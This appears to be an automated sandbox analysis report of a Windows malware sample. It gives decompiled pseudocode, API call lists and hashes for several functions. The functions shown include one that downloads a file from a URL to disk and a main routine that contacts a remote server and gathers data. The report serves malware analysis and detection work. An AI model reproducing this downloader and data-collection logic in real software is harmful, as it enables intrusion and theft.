Function 004082E0, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 155
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,00677A68), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,00677CA8), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,006786F8), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Strings

Pzg, xrefs: 00408302
hzg, xrefs: 004083D3
0"g, xrefs: 0040833C

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID: 0"g$Pzg$hzg
API String ID: 2806430148-2157380327
Opcode ID: 08dc09e1d71bc56364079f1e4773d345dfaabcd681f6d71a866a9efc0159ba04
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 08dc09e1d71bc56364079f1e4773d345dfaabcd681f6d71a866a9efc0159ba04
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				void* _t47;
				int _t55;
				int _t58;
				void* _t59;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_t59 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0); // executed
							_v12 = _t59;
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_t47 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0); // executed
					_v20 = _t47;
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060); // executed
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0); // executed
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					FindCloseChangeNotification(_v20); // executed
					InternetCloseHandle(_v12); // executed
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab0
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b17
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

https, xrefs: 00404A28
200, xrefs: 00404AD9

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Internet$CloseFile$HandleOpen$ChangeCreateFindHttpInfoNotificationQueryReadWrite
String ID: 200$https
API String ID: 2996992542-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040A700, Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 489
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A700(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t132;
				void* _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t261;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t303;
				intOrPtr _t304;
				void* _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t335;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				void* _t407;

				_t407 = __eflags;
				_t132 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
				 *0x41a838 = _t132; // executed
				E00407060(); // executed
				 *0x41a83c = 0;
				_t241 =  *0x41a290; // 0x678c50
				_t307 =  *0x41a250; // 0x676e40
				E0040A3F0(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16); // executed
				_t243 =  *0x41a1dc; // 0x677c48
				_t309 =  *0x41a7a0; // 0x6787f8
				E0040A3F0(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16); // executed
				_t245 =  *0x41a750; // 0x677b88
				_t311 =  *0x41a09c; // 0x6772a0
				E0040A3F0(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16); // executed
				_t247 =  *0x41a27c; // 0x678a60
				_t313 =  *0x41a7cc; // 0x6789b8
				E0040A3F0(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16); // executed
				_t249 =  *0x41a520; // 0x678b50
				_t315 =  *0x41a638; // 0x678718
				E0040A3F0(_t249, _t407, _t315, _t249, _a4, _a8, _a12, _a16); // executed
				_t251 =  *0x41a42c; // 0x678ae0
				_t317 =  *0x41a7d8; // 0x6786b8
				E0040A3F0(_t251, _t407, _t317, _t251, _a4, _a8, _a12, _a16); // executed
				_t253 =  *0x41a5c8; // 0x678bd0
				_t319 =  *0x41a390; // 0x6789d8
				E0040A3F0(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16); // executed
				_t255 =  *0x41a47c; // 0x678b60
				_t321 =  *0x41a068; // 0x677070
				E0040A3F0(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16); // executed
				_t257 =  *0x41a24c; // 0x677cc0
				_t323 =  *0x41a168; // 0x678678
				E0040A3F0(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16); // executed
				_t259 =  *0x41a3e0; // 0x677c60
				_t325 =  *0x41a1d4; // 0x677a80
				E0040A3F0(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16); // executed
				_t261 =  *0x41a028; // 0x678a80
				_t327 =  *0x41a5e0; // 0x678698
				E0040A3F0(_t261, _t407, _t327, _t261, _a4, _a8, _a12, _a16); // executed
				_t263 =  *0x41a614; // 0x678bb0
				_t329 =  *0x41a738; // 0x676ff8
				E0040A3F0(_t263, _t407, _t329, _t263, _a4, _a8, _a12, _a16); // executed
				_t265 =  *0x41a444; // 0x678ad0
				_t331 =  *0x41a338; // 0x6783f8
				E0040A3F0(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16); // executed
				_t267 =  *0x41a094; // 0x678b70
				_t333 =  *0x41a304; // 0x677188
				E0040A3F0(_t267, _t407, _t333, _t267, _a4, _a8, _a12, _a16); // executed
				_t269 =  *0x41a440; // 0x678af0
				_t335 =  *0x41a588; // 0x6772c8
				E0040A3F0(_t269, _t407, _t335, _t269, _a4, _a8, _a12, _a16); // executed
				_t271 =  *0x41a54c; // 0x678bf0
				_t337 =  *0x41a764; // 0x678338
				E0040A3F0(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16); // executed
				_t273 =  *0x41a6e0; // 0x678b80
				_t339 =  *0x41a6b4; // 0x678598
				E0040A3F0(_t273, _t407, _t339, _t273, _a4, _a8, _a12, _a16); // executed
				_t275 =  *0x41a100; // 0x677b70
				_t341 =  *0x41a078; // 0x677020
				E0040A3F0(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16); // executed
				_t277 =  *0x41a708; // 0x678b00
				_t343 =  *0x41a5c4; // 0x677c78
				E0040A3F0(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16); // executed
				_t279 =  *0x41a114; // 0x677bd0
				_t345 =  *0x41a634; // 0x676f08
				E0040A3F0(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16); // executed
				_t281 =  *0x41a3e8; // 0x678c30
				_t347 =  *0x41a414; // 0x675400
				E0040A3F0(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16); // executed
				_t283 =  *0x41a398; // 0x678b10
				_t349 =  *0x41a024; // 0x676f58
				E0040A510(_t283, _t407, _t349, _t283, _a4, _a8, _a12, _a16); // executed
				_t285 =  *0x41a3bc; // 0x678c40
				_t351 =  *0x41a2c8; // 0x6754c0
				E0040A510(_t285, _t407, _t351, _t285, _a4, _a8, _a12, _a16); // executed
				_t287 =  *0x41a5c0; // 0x677c90
				_t353 =  *0x41a320; // 0x675280
				E0040A3F0(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16); // executed
				_t289 =  *0x41a350; // 0x678b20
				_t355 =  *0x41a0c4; // 0x676e90
				E0040A620(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16); // executed
				_t291 =  *0x41a2ec; // 0x677cd8
				_t357 =  *0x41a620; // 0x675190
				E0040A620(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16); // executed
				_t293 =  *0x41a020; // 0x677d08
				_t359 =  *0x41a704; // 0x672428
				E0040A620(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16); // executed
				_t295 =  *0x41a3d0; // 0x677b40
				_t361 =  *0x41a224; // 0x6785f8
				E0040A620(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16); // executed
				_t297 =  *0x41a29c; // 0x677bb8
				_t363 =  *0x41a7e0; // 0x6752b0
				E0040A620(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16); // executed
				_t299 =  *0x41a57c; // 0x677a98
				_t365 =  *0x41a34c; // 0x672460
				E0040A620(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16); // executed
				_t301 =  *0x41a060; // 0x678ba0
				_t367 =  *0x41a0d0; // 0x6771b0
				E0040A620(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16); // executed
				_t303 =  *0x41a1ec; // 0x678be0
				_t369 =  *0x41a6dc; // 0x677ab0
				E0040A620(_t303, _t407, _t369, _t303, _a4, _a8, _a12, _a16); // executed
				_t304 =  *0x41a21c; // 0x677ac8
				_t370 =  *0x41a484; // 0x678378
				E0040A620(_t304, _t407, _t370, _t304, _a4, 0, 0, 0); // executed
				E00406C10(_t304, _t407);
				_t233 =  *0x41a838; // 0x0
				_t234 =  *0x41a908(_t233);
				_t305 =  *0x41a838; // 0x0
				_t371 =  *0x41a660; // 0x677af8
				E004137E0(_a4, _t371, _t305, _t234);
				E0040B720(0x41a838, 4); // executed
				E00407150(); // executed
				return E00407170();
			}

0x0040a700
0x0040a711
0x0040a717
0x0040a71c
0x0040a721
0x0040a73b
0x0040a742
0x0040a749
0x0040a761
0x0040a768
0x0040a76f
0x0040a787
0x0040a78e
0x0040a795
0x0040a7ad
0x0040a7b4
0x0040a7bb
0x0040a7d3
0x0040a7da
0x0040a7e1
0x0040a7f9
0x0040a800
0x0040a807
0x0040a81f
0x0040a826
0x0040a82d
0x0040a845
0x0040a84c
0x0040a853
0x0040a86b
0x0040a872
0x0040a879
0x0040a891
0x0040a898
0x0040a89f
0x0040a8b7
0x0040a8be
0x0040a8c5
0x0040a8dd
0x0040a8e4
0x0040a8eb
0x0040a903
0x0040a90a
0x0040a911
0x0040a929
0x0040a930
0x0040a937
0x0040a94f
0x0040a956
0x0040a95d
0x0040a975
0x0040a97c
0x0040a983
0x0040a99b
0x0040a9a2
0x0040a9a9
0x0040a9c1
0x0040a9c8
0x0040a9cf
0x0040a9e7
0x0040a9ee
0x0040a9f5
0x0040aa0d
0x0040aa14
0x0040aa1b
0x0040aa33
0x0040aa3a
0x0040aa41
0x0040aa59
0x0040aa60
0x0040aa67
0x0040aa7f
0x0040aa86
0x0040aa8d
0x0040aaa5
0x0040aaac
0x0040aab3
0x0040aacb
0x0040aad2
0x0040aad9
0x0040aaf1
0x0040aaf8
0x0040aaff
0x0040ab17
0x0040ab1e
0x0040ab25
0x0040ab3d
0x0040ab44
0x0040ab4b
0x0040ab63
0x0040ab6a
0x0040ab71
0x0040ab89
0x0040ab90
0x0040ab97
0x0040abaf
0x0040abb6
0x0040abbd
0x0040abd5
0x0040abdc
0x0040abe3
0x0040abf5
0x0040abfc
0x0040ac03
0x0040ac0b
0x0040ac10
0x0040ac16
0x0040ac1d
0x0040ac24
0x0040ac2f
0x0040ac3e
0x0040ac43
0x0040ac4e

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A70A
RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 00407060: LoadLibraryA.KERNEL32(006770C0,?,0040A721,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00407069
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00678200), ref: 0040708F
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00678758), ref: 004070A7
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00678050), ref: 004070BF
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,006787D8), ref: 004070D8
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,006786D8), ref: 004070F0
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00678068), ref: 00407108
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00678738), ref: 00407121
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00678858), ref: 00407139

Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00000000), ref: 0040A434
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,?), ref: 0040A459
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00677D20), ref: 0040A46D

Part of subcall function 0040A510: lstrcat.KERNEL32(?,00000000), ref: 0040A554
Part of subcall function 0040A510: lstrcat.KERNEL32(?,?), ref: 0040A579
Part of subcall function 0040A510: lstrcat.KERNEL32(?,00677D20), ref: 0040A58D

Part of subcall function 0040A620: lstrcat.KERNEL32(?,00000001), ref: 0040A667
Part of subcall function 0040A620: lstrcat.KERNEL32(?,?), ref: 0040A67B
Part of subcall function 0040A620: lstrcat.KERNEL32(?,00677B28), ref: 0040A68F

Part of subcall function 00406C10: GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
Part of subcall function 00406C10: LoadLibraryA.KERNEL32(00677738), ref: 00406CAA

lstrlen.KERNEL32(00000000), ref: 0040AC16

Part of subcall function 00407150: FreeLibrary.KERNEL32(60900000,?,0040AC48,0041A838,00000004), ref: 00407159

Part of subcall function 00407170: FreeLibrary.KERNEL32(00000000,?,0040AC4D,0041A838,00000004), ref: 00407179

Strings

@ng, xrefs: 0040A742
@{g, xrefs: 0040AB3D
H|g, xrefs: 0040A761
ppg, xrefs: 0040A84C
Xog, xrefs: 0040AA60
($g, xrefs: 0040AB1E
x|g, xrefs: 0040A9EE
`$g, xrefs: 0040AB90
`|g, xrefs: 0040A891
pg, xrefs: 0040A9C8
p{g, xrefs: 0040A9C1

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeapLoad$AllocateProcessVersionlstrlen
String ID: pg$($g$@ng$@{g$H|g$Xog$`$g$`|g$ppg$p{g$x|g
API String ID: 3801270024-498996070
Opcode ID: 8e0b4b05eec78f656de81a074dbe81db14e72ba656cc588d5b8b3cbb724aaba6
Instruction ID: a00dee89baef35c05d8f135df5621735fc6a2a2bdba59be032469b4e13cc99cb
Opcode Fuzzy Hash: 8e0b4b05eec78f656de81a074dbe81db14e72ba656cc588d5b8b3cbb724aaba6
Instruction Fuzzy Hash: 830297B6615104BBCB04DF9DEC81DAB33BDAB8C704B04C51CBA1CD7255D634E961CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00406650, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 176
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00406650(void* __ecx, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				char _t37;
				intOrPtr _t46;
				intOrPtr _t51;
				intOrPtr _t52;
				void* _t53;
				intOrPtr _t61;
				intOrPtr _t71;
				void* _t72;
				void* _t76;
				intOrPtr _t90;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t101;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t116;
				CHAR* _t117;
				void* _t121;
				void* _t129;
				void* _t133;

				_t133 = __eflags;
				E004139B0(0x292c, __ecx);
				_t37 = E00413730(0, 0x6400000, 0); // executed
				_v10544 = _t37;
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v10268, 0x1388);
				E0040B720( &_v10540, 0x104);
				 *0x41aa24( &_v5268, E0040B8B0( &_v10268, _t133, 0x10));
				_t90 =  *0x41a260; // 0x660420
				 *0x41aa24( &_v5268, _t90);
				_t46 =  *0x41a368; // 0x6720f0
				 *0x41aa24( &_v10540, _t46);
				_t107 =  *0x41a7c4; // 0x674fe0
				 *0x41aa24( &_v10540, _t107);
				_t92 =  *0x41a76c; // 0x6762d8
				 *0x41aa24( &_v10540, _t92);
				_t51 =  *0x41a714; // 0x6757e8
				_t93 =  *0x41a288; // 0x676248
				_t109 =  *0x41a7c4; // 0x674fe0
				_t52 =  *0x41a368; // 0x6720f0
				_t53 = E004051A0(_t93, _t133, _t52, _t109, _t93, _t51); // executed
				 *0x41aa24( &_v10268, _t53);
				E00406320( &_v10268, _t133,  &_v10268, _v10544); // executed
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x6770c0
				E004049E0( &_v10268,  &_v10540, _t111); // executed
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x1
				_t61 =  *0x41abac; // 0x1
				_t97 =  *0x41aba4; // 0x1
				E0040A700(_t133, _v10544, _t97, _t61, _t112); // executed
				E00401470(_v10544); // executed
				E004056E0(_v10544, _t133, _v10544); // executed
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544); // executed
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x676248
				_t116 =  *0x41a7c4; // 0x674fe0
				_t71 =  *0x41a368; // 0x6720f0
				_t72 = E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272); // executed
				 *0x41aa24( &_v5004, _t72);
				_t117 =  *0x41a6a8; // 0x677c00
				SetCurrentDirectoryA(_t117); // executed
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4); // executed
				E00405DE0(); // executed
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x00406666
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406728
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040683e
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,00660420), ref: 004066CD
lstrcat.KERNEL32(?,006720F0), ref: 004066E0
lstrcat.KERNEL32(?,00674FE0), ref: 004066F4
lstrcat.KERNEL32(?,006762D8), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,006720F0,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0065EC80), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0065E518), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0065EC90), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00674E60), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00676050), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(Xag,00676158), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(Xag,00676068), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(00675000,00675000), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(00677C00,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
